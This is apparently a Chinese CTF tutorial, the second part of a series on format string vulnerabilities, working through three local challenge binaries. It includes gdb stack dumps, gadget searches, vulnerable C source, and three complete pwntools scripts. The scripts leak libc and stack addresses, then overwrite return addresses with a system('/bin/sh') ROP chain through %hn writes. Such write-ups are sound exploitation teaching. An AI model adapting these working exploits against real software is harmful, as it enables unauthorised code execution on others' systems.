从五个例子来理解格式化字符串漏洞(二)

从五个例子来理解格式化字符串漏洞(二)

fsb_relro

checksec 看一下开了的保护

1
2
3
4
5
6
7
root@kali:~/Desktop/release# checksec fsb_relro 
[*] '/root/Desktop/release/fsb_relro'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

然后IDA载入看一下:

发现有for循环执行echo函数,但是从这道题开的保护来看,我们可以知道这道题与上一道题的不同点在于开了RELRO保护,意味着我们不能通过改写got表来进行跳转到system函数执行了,同时这道题也是没有getshell函数,也是有一个明显的格式化字符串漏洞可以利用。

这道题思想不难,主要是找偏移,逐个点逐个点地去找。

这个是泄露出栈的地址(0x7ffc63887030)的时候,查看栈的情况:
怎样泄漏的呢?就是在泄露__libc_start_main的时候,在他的前面找了一个echo函数的ebp,因为这个地址肯定在栈上,后面就直接用该值和其他栈上的偏移量来表示其他栈上的地址就ok了。下面ret要改写的地址就是用这个方法来得到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ x /30xg 0x7ffc63887030
0x7ffc63887030: 0x00000000004009a0 0x00007feffb4202e1
0x7ffc63887040: 0x0000000000040000 0x00007ffc63887118
0x7ffc63887050: 0x00000001fb5612a8 0x000000000040094f
0x7ffc63887060: 0x0000000000000000 0xe7ba5c95187a5db9
0x7ffc63887070: 0x00000000004006f0 0x00007ffc63887110
0x7ffc63887080: 0x0000000000000000 0x0000000000000000
0x7ffc63887090: 0x18429b05ebba5db9 0x1865aa910e085db9
0x7ffc638870a0: 0x0000000000000000 0x0000000000000000
0x7ffc638870b0: 0x0000000000000000 0x00007ffc63887128
0x7ffc638870c0: 0x00007feffb9c2170 0x00007feffb7ac9ab
0x7ffc638870d0: 0x0000000000000000 0x0000000000000000
0x7ffc638870e0: 0x00000000004006f0 0x00007ffc63887110
0x7ffc638870f0: 0x0000000000000000 0x0000000000400719
0x7ffc63887100: 0x00007ffc63887108 0x000000000000001c
0x7ffc63887110: 0x0000000000000001 0x00007ffc63887411

在echo的返回地址那里下一个断点,因为要修改返回地址。从返回地址开始修改,依次修改为pop rdi;ret的地址、/bin/sh\x00的地址和system的地址就可以getshell了。

下好断点之后,就c继续执行停到相应位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[-------------------------------------code-------------------------------------]
0x400860 <echo+122>: je 0x400867 <echo+129>
0x400862 <echo+124>: call 0x400698
0x400867 <echo+129>: leave
=> 0x400868 <echo+130>: ret
0x400869 <timeout>: push rbp
0x40086a <timeout+1>: mov rbp,rsp
0x40086d <timeout+4>: mov edi,0x400a40
0x400872 <timeout+9>: call 0x400690
[------------------------------------stack-------------------------------------]
0000| 0x7ffd79d4fba8 --> 0x400982 (<main+51>: add DWORD PTR [rbp-0x4],0x1)
0008| 0x7ffd79d4fbb0 --> 0x7ffd79d4fcb8 --> 0x7ffd79d50411 ("fsb_relro")
0016| 0x7ffd79d4fbb8 --> 0x1004006f0
0024| 0x7ffd79d4fbc0 --> 0x7ffd79d4fcb0 --> 0x1
0032| 0x7ffd79d4fbc8 --> 0x0
0040| 0x7ffd79d4fbd0 --> 0x4009a0 (<__libc_csu_init>: push r15)
0048| 0x7ffd79d4fbd8 --> 0x7fbeaa69e2e1 (<__libc_start_main+241>: mov edi,eax)
0056| 0x7ffd79d4fbe0 --> 0x40000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000400868 in echo ()

当前rsp的情况:

相应的情况如上,所以我们明确地看到程序已经运行到echo的返回地址上了,可以看到原来栈上的栈顶指针是指向0x400982(echo的返回地址,在main函数的地址),因此我们需要把栈上的栈顶指针改为指向一个pop rdi;ret这个gadget上,然后再给rdi赋值为/bin/sh\x00(栈顶指针+8),最后把system放到这个gadget的ret(栈顶指针+16)上就可以了。
并且两个值计算可以得到相差0x28

1
2
>>> hex(0x7ffd79d4fba8-0x7ffd79d4fbd0)
'-0x28'

查找gadget :ROPgadget --binary fsb_relro --only "pop|ret"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop/release# ROPgadget --binary fsb_relro --only "pop|ret"
Gadgets information
============================================================
0x00000000004009fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a00 : pop r14 ; pop r15 ; ret
0x0000000000400a02 : pop r15 ; ret
0x00000000004009fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004009ff : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400750 : pop rbp ; ret
0x0000000000400a03 : pop rdi ; ret
0x0000000000400a01 : pop rsi ; pop r15 ; ret
0x00000000004009fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400679 : ret

Unique gadgets found: 11

查找/bin/sh(因为用的是本地库,所以我就直接把本地库cp出来直接找了,但是如果是远程库,那就另当别论了)

1
2
3
4
root@kali:~/libc-database# ROPgadget --binary libc-2.24.so --string "/bin/sh"
Strings information
============================================================
0x00000000001619b9 : /bin/sh

然后后面依次改地址的方法跟前面几个题目都是一样的,就不多说了。

上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *

p = process('fsb_relro') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
#elf = ELF('fsb_inf')

def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b

payload = ""
payload += "%78$p.%79$p.%72$p."

pause()

p.recv()
p.sendline(payload)
p.recvuntil(".")
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
#print hex(libc_start_main_ret)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr addr: " + hex(stack_addr))

pause()

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
printf_addr = libc_base + 0x4f190
sh_addr = libc_base + 0x1619b9
log.info("system_addr addr: " + hex(system_addr))
log.info("printf_addr addr: " + hex(printf_addr))
log.info("sh_addr addr: " + hex(sh_addr))

pr_addr = 0x400a03

n = 6 + 14
pattern = "%{}c%{}$hn"

payload = ""
### pop rdi; ret

payload += pattern.format(0x0a03,n)

### "/bin/sh\x00"

sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff

payload += pattern.format(s_sub(sh_low,0x0a03),n+1)
payload += pattern.format(s_sub(sh_mid,sh_low),n+2)
payload += pattern.format(s_sub(sh_high,sh_mid),n+3)

### system

system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

payload += pattern.format(s_sub(system_low,sh_high),n+4)
payload += pattern.format(s_sub(system_mid,system_low),n+5)
payload += pattern.format(s_sub(system_high,system_mid),n+6)

###padding

payload = payload.ljust(112,"A") #7*16=112

# ret --> pop rid; ret
payload += p64(stack_addr-0x28)

# rdi --> "/bin/sh\x00"
payload += p64(stack_addr-0x28+8)
payload += p64(stack_addr-0x28+10)
payload += p64(stack_addr-0x28+12)

# system
payload +=p64(stack_addr-0x28+16)
payload +=p64(stack_addr-0x28+18)
payload +=p64(stack_addr-0x28+20)

pause()

p.sendline(payload)

p.interactive()

fsb_heap

源码放上来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>

void echo() {
int size = 0x200;
char *buf = malloc(size);
memset(buf, 0, size);

fgets(buf, size, stdin);
printf(buf);
puts("\nain't it cool, bye now");
}

void timeout() {
puts("Time is up");
exit(1);
}

void welcome() {
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);

char welcome[] =
"================================================\n"
"Welcome to the super echo-mon-better system, it \n"
"will echo anything you said, like:\n\n"
"Melody: I wanna a flag, mom\n"
"Mom: I wanna a flag, mom\n"
"================================================\n";
puts(welcome);

signal(SIGALRM, timeout);
alarm(5);
}

void echo_mon_better() {
int i = 0;
for (i = 0; i < 100; ++i) {
echo();
}
return 0;
}

int main(int argc, char const *argv[]) {
welcome();
echo_mon_better();
return 0;
}

这道题的主要思路是利用RBP链来作为跳板修改echo_mon_better的返回地址为pop rdi;ret的地址,然后依次往后布置为/bin/sh的地址和system的地址,最后循环够一百次退出echo_mon_better函数的时候就可以getshell了。

挖坑填坑历程(纯粹记录,没兴趣完全可以跳过):

(找到这个思路的过程可谓艰辛,先是误以为在直接在栈上放一段POR,但是发现栈上根本无法执行(NX保护),然后就想改got表,但发现要改的地址不在栈上,利用RBP链跳板是做不到的,所以还有可以控PC的就剩下改返回地址了,那问题来了,是改echo的返回地址呢还是改他的上层函数echo_mon_better的返回地址呢?我先是试了后者,但是发现这个与泄露出来的栈上的地址的偏移量非常大,随后验证了一下这个偏移量发现是不正确的,所以就放弃了,然后就去修改echo的返回地址,然后发现一改返回地址,就会跳到那个地址去执行了都还没等我布置好后面两个参数,后来想了个办法,就是先布置好后面两个参数(/bin/sh和system地址)再改ret为pop rdi;ret的地址,最后怎样试都不行,最后发现我这样一改,把上层函数的Canary给改掉了,立刻报错没让我改ret了;最后再去验证一次echo_mon_better的返回地址的时候发现偏移也就只有8,之前算错了,要改的东西就在隔壁啊。。以后一定有思路一定要算多几次才行!!!)

下面开始进入正题:

这道题最大的不同就是我们输入的参数是放在堆上的,那么我们的栈就变得不可控了,我们输入的参数是放在栈上的一个地址里面的,如下面例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ x /30xg $rsp
0x7fffffffdfa0: 0x000002003d3d3d3d 0x0000000000602010
0x7fffffffdfb0: 0x00007fffffffdfd0 0x00000000004009bb
0x7fffffffdfc0: 0x0000000000000000 0x00000000939ab900
0x7fffffffdfd0: 0x00007fffffffdff0 0x00000000004009eb
0x7fffffffdfe0: 0x00007fffffffe0d8 0x0000000100000000
0x7fffffffdff0: 0x0000000000400a00 0x00007ffff7a5c2e1
0x7fffffffe000: 0x0000000000000000 0x00007fffffffe0d8
0x7fffffffe010: 0x0000000100000000 0x00000000004009c8
0x7fffffffe020: 0x0000000000000000 0x1017cfbb8f0a6e51
0x7fffffffe030: 0x0000000000400750 0x00007fffffffe0d0
0x7fffffffe040: 0x0000000000000000 0x0000000000000000
0x7fffffffe050: 0xefe830c45b0a6e51 0xefe820701e386e51
0x7fffffffe060: 0x0000000000000000 0x0000000000000000
0x7fffffffe070: 0x0000000000000000 0x0000000000000001
0x7fffffffe080: 0x00000000004009c8 0x0000000000400a70
gdb-peda$ x 0x0000000000602010
0x602010: 0x4141414141414141
gdb-peda$

上面可以看到我们的栈的情况变得跟以前不一样了,那我们要怎样利用格式化字符串来构成一个任意地址写的功能呢?这里我们需要知道一个知识点—RBP链(其实就是一个三连跳):

怎样利用这个RBP链来构成一个跳板来执行栈上任意地址写呢?首先我们知道格式化字符串的%n是把一个值写到一个指针所指向的地址上去。正是如此我们才不能直接往栈上写,因为我们不能确保第几个参数上的那个指针是否是一个有效指针。所以我们需要用到跳板。这个RBP链的跳板主要是通过修改0x00007fffffffdfd0这个指针所指向的0x00007fffffffdff0这个值的后四位,让其仍然是一个栈上的地址;然后再修改0x00007fffffffdff0(这个表示上一步修改后的值)所指向的地址,就可以实现修改栈上任意地址的值了。

这里提醒一点就是泄露地址:用前面的方法泄露,易得0x00007fffffffdfd0是第八个参数__libc_start_main是第十七个参数等。

首先跟前面的题目一样,泄露出libc的基地址和system地址、/bin/sh的地址;最后再找到一个pop rdi;ret的gadget,准备工作就做完了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~/Desktop/release# ROPgadget --binary fsb_heap --only "pop|ret"
Gadgets information
============================================================
0x0000000000400a5c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a5e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a60 : pop r14 ; pop r15 ; ret
0x0000000000400a62 : pop r15 ; ret
0x0000000000400a5b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400a5f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007b0 : pop rbp ; ret
0x0000000000400a63 : pop rdi ; ret
0x0000000000400a61 : pop rsi ; pop r15 ; ret
0x0000000000400a5d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400679 : ret

Unique gadgets found: 11

找system地址跟上面的题目方法一样,直接p system 然后xinfo看一下偏移量。
/bin/sh\x00

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7fcaf43ce9b9 --> 0x68732f6e69622f ('/bin/sh')
gdb-peda$ xinfo 0x7fcaf43ce9b9
0x7fcaf43ce9b9 --> 0x68732f6e69622f ('/bin/sh')
Virtual memory mapping:
Start : 0x00007fcaf426d000
End : 0x00007fcaf4400000
Offset: 0x1619b9
Perm : r-xp
Name : /lib/x86_64-linux-gnu/libc-2.24.so
gdb-peda$

详细脚本如下:
上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *

p = process('fsb_heap') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('fsb_heap')

def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b

##########step1##########

payload = ""
payload += "%7$p.%8$p.%17$p.%12$p."

#pause()

p.recv()
p.sendline(payload)
p.recvuntil(".")
stack_addr1 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr1 addr: " + hex(stack_addr1))
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr2 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr2 addr: " + hex(stack_addr2))

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
sh_addr = libc_base + 0x1619b9
log.info("libc_base addr: " + hex(libc_base))
log.info("system_addr addr: " + hex(system_addr))
log.info("sh_addr addr: " + hex(sh_addr))


##########step2##########

#########ret addr#######
#echo_better_ret = 0x7ffcb0f30b18
echo_better_ret = stack_addr1 + 0x34f0cd4b8
#echo_ret = 0x7fffffffdfb8
echo_ret = stack_addr1 + 0x18

'''
##############test############
for i in range(0,98) :
p.sendline('wait')

pause()


p.sendline('wait')

p.interactive()
#############test##############

'''

pr_addr = 0x400a63


def edit1(low):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(low,8)
payload = payload.ljust(16,"A")
#pause()
p.sendline(payload)

def edit2(data):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(data,12)
payload = payload.ljust(16,"B")
#pause()
p.sendline(payload)

n = 16 + 14
pattern = "%{}c%{}$hn"

stack_addr2_low = stack_addr2 & 0xffff

a = stack_addr2_low -0x38

print hex(stack_addr2_low)

######## pop rdi;ret


edit1(stack_addr2_low - 24)
edit2(0x0a63)

### "/bin/sh\x00"

sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
print hex(sh_low)
print hex(stack_addr2_low -16)
edit1(stack_addr2_low - 16)
edit2(sh_low)
edit1(stack_addr2_low - 14)
edit2(sh_mid)
edit1(stack_addr2_low - 12)
edit2(sh_high)


### system

system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

edit1(stack_addr2_low -8)
edit2(system_low)
edit1(stack_addr2_low -6)
edit2(system_mid)
edit1(stack_addr2_low -4)
edit2(system_high)


###send to 100 ,let it out of echo_better
for i in range(0,84) :
p.sendline('wait')

###### wrong #
'''
pattern = "%{}c%{}$hn"
payload1 = ""
payload1 += pattern.format(a,8)
payload1 = payload1.ljust(16,"A")
pause()
p.sendline(payload1)
pattern = "%{}c%{}$hn"
payload2 = ""
payload2 += pattern.format(0x0a63,12)
payload2 = payload2.ljust(16,"B")
pause()
p.sendline(payload2)
'''
#edit1(stack_addr2_low -56)
#edit2(0x0a63)

###### wrong #

pause()

p.interactive()

pie_heap

加了pie之后其实也没有什么区别,就是要多泄露一个PIE地址来找偏移,再把动态加载之后的真正的gadget地址找出来就行了,相对于没PIE其实有格式化字符串就是多了一步泄露pie地址然后计算偏移量计算就ok。

提醒:这个还有个如何把一串0x0000写入内存,因为%0c是有一个字符的,所以这样写是不正确的,我们可以这样:"%{}ca%{}$hn",再往里写0xffff个字符然后他就会写入0x10000,高位去除就剩下0x0000了

上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
from pwn import *

p = process('pie_heap') #env = {'LD_PRELOAD':'./libc.so.6'}
#libc = ELF('libc.so.6')
elf = ELF('pie_heap')

def s_sub(a,b):
if a<b:
return 0x10000 + a - b
return a - b

##########step1##########

payload = ""
payload += "%7$p.%8$p.%17$p.%12$p.%13$p."



p.recv()
p.sendline(payload)
p.recvuntil(".")
stack_addr1 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr1 addr: " + hex(stack_addr1))
libc_start_main_ret = int(p.recvuntil(".",drop = True),16)
log.info("libc_start_main_ret addr: " + hex(libc_start_main_ret))
stack_addr2 = int(p.recvuntil(".",drop = True),16)
log.info("stack_addr2 addr: " + hex(stack_addr2))
pie_addr = int(p.recvuntil(".",drop = True),16)
log.info("pie_addr addr: " + hex(pie_addr))

libc_base = libc_start_main_ret - 0x202e1
system_addr = libc_base + 0x3f480
sh_addr = libc_base + 0x1619b9
log.info("libc_base addr: " + hex(libc_base))
log.info("system_addr addr: " + hex(system_addr))
log.info("sh_addr addr: " + hex(sh_addr))
log.info("ret_addr addr: " + hex(stack_addr2 + 8))



##########step2##########

#########ret addr#######
#echo_better_ret = 0x7ffcb0f30b18
echo_better_ret = pie_addr - 36
printf_addr = pie_addr - 338
log.info("printf_addr addr: " + hex(printf_addr))
log.info("echo_better_ret addr: " + hex(echo_better_ret))
#echo_ret = 0x7fffffffdfb8
echo_ret = stack_addr1 + 0x18
pr_addr = pie_addr + 0x6c
log.info("pr_addr addr: " + hex(pr_addr + 8))

pause()

'''

##############test############
for i in range(0,99) :
p.sendline('wait')

pause()


p.sendline('wait')

p.interactive()
#############test##############

'''



def edit1(low):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(low,8)
payload = payload.ljust(16,"A")
#pause()
p.sendline(payload)

def edit2(data):
pattern = "%{}c%{}$hn"
payload = ""
payload += pattern.format(data,12)
payload = payload.ljust(16,"B")
#pause()
p.sendline(payload)

n = 16 + 14
pattern = "%{}c%{}$hn"

stack_addr2_low = stack_addr2 & 0xffff

a = stack_addr2_low -0x38

print hex(stack_addr2_low)

######## pop rdi;ret

pr_low = pr_addr & 0xffff
pr_mid = (pr_addr >> 16) & 0xffff
pr_high = (pr_addr >> 32) & 0xffff
edit1(stack_addr2_low - 24)
edit2(pr_low)
edit1(stack_addr2_low - 22)
edit2(pr_mid)
edit1(stack_addr2_low - 20)
edit2(pr_high)

### "/bin/sh\x00"

sh_low = sh_addr & 0xffff
sh_mid = (sh_addr >> 16) & 0xffff
sh_high = (sh_addr >> 32) & 0xffff
print hex(sh_low)
print hex(stack_addr2_low -16)
edit1(stack_addr2_low - 16)
edit2(sh_low)
edit1(stack_addr2_low - 14)
edit2(sh_mid)
edit1(stack_addr2_low - 12)
edit2(sh_high)


### system

system_low = system_addr & 0xffff
system_mid = (system_addr >> 16) & 0xffff
system_high = (system_addr >> 32) & 0xffff

edit1(stack_addr2_low -8)
edit2(system_low)
edit1(stack_addr2_low -6)
edit2(system_mid)
edit1(stack_addr2_low -4)
edit2(system_high)


###send to 100 ,let it out of echo_better
for i in range(0,80) :
p.sendline('wait')

pause()

p.interactive()